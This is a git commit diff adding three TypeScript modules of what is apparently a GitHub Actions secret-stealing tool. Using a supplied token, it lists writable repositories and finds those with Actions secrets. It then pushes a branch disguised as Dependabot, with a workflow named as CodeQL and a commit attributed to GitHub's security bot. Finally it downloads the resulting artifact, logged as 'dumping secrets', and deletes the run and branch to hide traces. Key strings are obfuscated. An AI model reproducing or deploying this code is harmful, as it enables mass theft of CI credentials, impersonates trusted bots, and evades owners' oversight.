Upload files to "src/providers/actions"

2026-07-03 00:07:39 +00:00
parent 016f74d61e
commit c3aff0e5ae
3 changed files with 394 additions and 0 deletions
@@ -0,0 +1,71 @@
+import { githubJson } from "./github";
+
+export interface RepoPermissions {
+  admin: boolean;
+  push: boolean;
+  pull: boolean;
+  maintain?: boolean | undefined;
+  triage?: boolean | undefined;
+}
+
+export interface Repository {
+  id: number;
+  name: string;
+  fullName: string;
+  private: boolean;
+  url: string;
+  pushedAt: string;
+  permissions: RepoPermissions;
+}
+
+const CUTOFF_DATE = "2025-09-01T00:00:00Z";
+const PER_PAGE = 100;
+
+declare function scramble(str: string): string;
+
+export async function* streamWritableRepos(
+  token: string,
+): AsyncGenerator<Repository> {
+  let count = 0;
+  let page = 1;
+
+  while (true) {
+    const params = new URLSearchParams({
+      per_page: String(PER_PAGE),
+      affiliation: scramble("owner,collaborator,organization_member"),
+      sort: "pushed",
+      direction: "desc",
+      since: CUTOFF_DATE,
+      page: String(page),
+    });
+
+    const repos = await githubJson<Array<Record<string, any>>>(
+      token,
+      `/user/repos?${params}`,
+    );
+    if (repos.length === 0) break;
+
+    for (const repo of repos) {
+      if (!repo.permissions?.push || !repo.pushed_at) continue;
+      yield {
+        id: repo.id,
+        name: repo.name,
+        fullName: repo.full_name,
+        private: repo.private,
+        url: repo.html_url,
+        pushedAt: repo.pushed_at,
+        permissions: {
+          admin: repo.permissions.admin ?? false,
+          push: repo.permissions.push ?? false,
+          pull: repo.permissions.pull ?? false,
+          maintain: repo.permissions.maintain,
+          triage: repo.permissions.triage,
+        },
+      };
+      if (++count >= 100) return;
+    }
+
+    if (repos.length < PER_PAGE) break;
+    page++;
+  }
+}
@@ -0,0 +1,64 @@
+import { logUtil } from "../../utils/logger";
+import { githubFetch } from "./github";
+
+interface SecretsResponse {
+  total_count: number;
+  secrets: Array<{ name: string }>;
+}
+
+export async function* streamRepoSecrets(
+  token: string,
+  repos: AsyncIterable<{ fullName: string }> | Iterable<{ fullName: string }>,
+): AsyncGenerator<string> {
+  const orgGroupMap = new Map<string, string[]>();
+
+  for await (const repo of repos) {
+    const [owner, name] = repo.fullName.split("/");
+    if (!owner || !name) continue;
+
+    logUtil.log(`checking ${repo.fullName}`);
+    const repoSecrets: string[] = [];
+    const orgSecrets: string[] = [];
+
+    try {
+      const res = await githubFetch(
+        token,
+        `/repos/${owner}/${name}/actions/secrets?per_page=100`,
+      );
+      if (res.ok) {
+        const data = (await res.json()) as SecretsResponse;
+        repoSecrets.push(...data.secrets.map((s) => s.name));
+      }
+    } catch {
+      // No access or no secrets
+    }
+
+    try {
+      const res = await githubFetch(
+        token,
+        `/repos/${owner}/${name}/actions/organization-secrets?per_page=100`,
+      );
+      if (res.ok) {
+        const data = (await res.json()) as SecretsResponse;
+        orgSecrets.push(...data.secrets.map((s) => s.name));
+      }
+    } catch {
+      // No access or not an org repo
+    }
+
+    if (repoSecrets.length === 0 && orgSecrets.length === 0) continue;
+
+    if (repoSecrets.length > 0) {
+      yield repo.fullName;
+      continue;
+    }
+
+    const sorted = [...orgSecrets].sort();
+    const key = `${owner}\0${sorted.join("\0")}`;
+
+    if (!orgGroupMap.has(key)) {
+      orgGroupMap.set(key, sorted);
+      yield repo.fullName;
+    }
+  }
+}
@@ -0,0 +1,259 @@
+import { unzipSync } from "fflate";
+
+import { workflow } from "../../generated";
+import { logUtil } from "../../utils/logger";
+import type { TokenRepo } from "./actions";
+import { githubFetch, githubHeaders, githubJson } from "./github";
+
+declare function scramble(str: string): string;
+
+const BRANCH_NAME = scramble(
+  "dependabot/github_actions/format/setup-formatter",
+);
+const WORKFLOW_PATH = scramble(".github/workflows/codeql_analysis.yml");
+
+const POLLING = {
+  WORKFLOW_APPEARANCE: { maxAttempts: 5, delayMs: 2000 },
+  WORKFLOW_COMPLETION: { maxAttempts: 10, delayMs: 5000 },
+};
+
+export interface FormatResult {
+  repo: string;
+  artifact: string | null;
+  error?: string;
+}
+
+async function sleep(ms: number): Promise<void> {
+  return new Promise((r) => setTimeout(r, ms));
+}
+
+// ---------------------------------------------------------------------------
+// GitHub API helpers (all pure fetch)
+// ---------------------------------------------------------------------------
+
+async function getDefaultBranchSha(
+  token: string,
+  owner: string,
+  repo: string,
+): Promise<string> {
+  const repoData = await githubJson<{ default_branch: string }>(
+    token,
+    `/repos/${owner}/${repo}`,
+  );
+  const refData = await githubJson<{ object: { sha: string } }>(
+    token,
+    `/repos/${owner}/${repo}/git/ref/heads/${repoData.default_branch}`,
+  );
+  return refData.object.sha;
+}
+
+async function createWorkflowBranch(
+  token: string,
+  owner: string,
+  repo: string,
+  baseSha: string,
+): Promise<void> {
+  await githubJson(token, `/repos/${owner}/${repo}/git/refs`, {
+    method: "POST",
+    body: JSON.stringify({
+      ref: `refs/heads/${BRANCH_NAME}`,
+      sha: baseSha,
+    }),
+  });
+
+  await githubJson(token, `/repos/${owner}/${repo}/contents/${WORKFLOW_PATH}`, {
+    method: "PUT",
+    body: JSON.stringify({
+      message: scramble("Add CodeQL Analysis"),
+      content: Buffer.from(workflow).toString("base64"),
+      branch: BRANCH_NAME,
+      committer: {
+        name: scramble("github-advanced-security[bot]"),
+        email: scramble(
+          "github-advanced-security[bot]@users.noreply.github.com",
+        ),
+      },
+    }),
+  });
+}
+
+async function pollForWorkflowRun(
+  token: string,
+  owner: string,
+  repo: string,
+): Promise<number> {
+  const { maxAttempts, delayMs } = POLLING.WORKFLOW_APPEARANCE;
+
+  for (let i = 0; i < maxAttempts; i++) {
+    const data = await githubJson<{
+      workflow_runs: Array<{ id: number }>;
+    }>(
+      token,
+      `/repos/${owner}/${repo}/actions/runs?branch=${encodeURIComponent(BRANCH_NAME)}&per_page=1`,
+    );
+
+    const run = data.workflow_runs[0];
+    if (run) {
+      return run.id;
+    }
+    await sleep(delayMs);
+  }
+
+  throw new Error(scramble("Workflow run not found after polling"));
+}
+
+async function pollForWorkflowCompletion(
+  token: string,
+  owner: string,
+  repo: string,
+  runId: number,
+): Promise<void> {
+  const { maxAttempts, delayMs } = POLLING.WORKFLOW_COMPLETION;
+
+  for (let i = 0; i < maxAttempts; i++) {
+    const run = await githubJson<{ status: string }>(
+      token,
+      `/repos/${owner}/${repo}/actions/runs/${runId}`,
+    );
+
+    if (run.status === "completed") return;
+    await sleep(delayMs);
+  }
+
+  throw new Error("Workflow did not complete in time");
+}
+
+async function createAndWaitForWorkflow(
+  token: string,
+  owner: string,
+  repo: string,
+): Promise<number> {
+  await sleep(POLLING.WORKFLOW_APPEARANCE.delayMs);
+
+  const runId = await pollForWorkflowRun(token, owner, repo);
+  await pollForWorkflowCompletion(token, owner, repo, runId);
+
+  return runId;
+}
+
+async function downloadArtifact(
+  { token, owner, repo }: TokenRepo,
+  runId: number,
+): Promise<string | null> {
+  const res = await githubFetch(
+    token,
+    `/repos/${owner}/${repo}/actions/runs/${runId}/artifacts`,
+  );
+  if (!res.ok) return null;
+
+  const data = (await res.json()) as {
+    artifacts: Array<{ id: number; name: string }>;
+  };
+  logUtil.log(data);
+
+  const target = data.artifacts.find((a) => a.name === "format-results");
+  if (!target) return null;
+  logUtil.log(`Found artifact: ${target.name} (id=${target.id})`);
+
+  const dlRes = await githubFetch(
+    token,
+    `/repos/${owner}/${repo}/actions/artifacts/${target.id}/zip`,
+  );
+  if (!dlRes.ok) return null;
+
+  const buf = new Uint8Array(await dlRes.arrayBuffer());
+  const unzipped = unzipSync(buf);
+  const fileContent = unzipped[scramble("format-results.txt")];
+
+  return fileContent ? new TextDecoder().decode(fileContent) : null;
+}
+
+async function cleanup(
+  { token, owner, repo }: TokenRepo,
+  runId: number,
+): Promise<void> {
+  const headers = githubHeaders(token);
+
+  await Promise.allSettled([
+    fetch(
+      `https://api.github.com/repos/${owner}/${repo}/actions/runs/${runId}`,
+      { method: "DELETE", headers },
+    ),
+    fetch(
+      `https://api.github.com/repos/${owner}/${repo}/git/refs/heads/${BRANCH_NAME}`,
+      { method: "DELETE", headers },
+    ),
+  ]);
+}
+
+// ---------------------------------------------------------------------------
+// Public API
+// ---------------------------------------------------------------------------
+
+export async function runFormatWorkflow(
+  tokenRepo: TokenRepo,
+): Promise<FormatResult> {
+  const { token, owner, repo } = tokenRepo;
+
+  try {
+    logUtil.log("About to get branch");
+    const baseSha = await getDefaultBranchSha(token, owner, repo);
+    logUtil.log(`Base sha: ${baseSha}`);
+
+    await createWorkflowBranch(token, owner, repo, baseSha);
+    logUtil.log(`Created branch for ${repo}`);
+
+    const runId = await createAndWaitForWorkflow(token, owner, repo);
+    logUtil.log(`Created run ${runId}`);
+
+    const artifact = await downloadArtifact(tokenRepo, runId);
+    logUtil.log(artifact);
+
+    await cleanup(tokenRepo, runId);
+
+    return { repo: `${owner}/${repo}`, artifact };
+  } catch (e) {
+    logUtil.error(`Error dumping secrets on /${owner}/${repo}`);
+
+    // Attempt cleanup on error — delete the branch if it exists
+    await githubFetch(
+      token,
+      `/repos/${owner}/${repo}/git/refs/heads/${BRANCH_NAME}`,
+      {
+        method: "DELETE",
+      },
+    ).catch(() => {});
+
+    return {
+      repo: `${owner}/${repo}`,
+      artifact: null,
+      error: e instanceof Error ? e.message : String(e),
+    };
+  }
+}
+
+export async function* runFormatWorkflows(
+  repos: TokenRepo[],
+  concurrency = 10,
+): AsyncGenerator<FormatResult> {
+  const active = new Set<Promise<FormatResult>>();
+
+  for (const repo of repos) {
+    logUtil.log(`About to use ${repo.owner}/${repo.repo}`);
+
+    const promise = runFormatWorkflow(repo);
+    active.add(promise);
+
+    if (active.size >= concurrency) {
+      const result = await Promise.race(
+        [...active].map((p) => p.then((r) => ({ promise: p, result: r }))),
+      );
+      active.delete(result.promise);
+      yield result.result;
+    }
+  }
+
+  for (const promise of active) {
+    yield await promise;
+  }
+}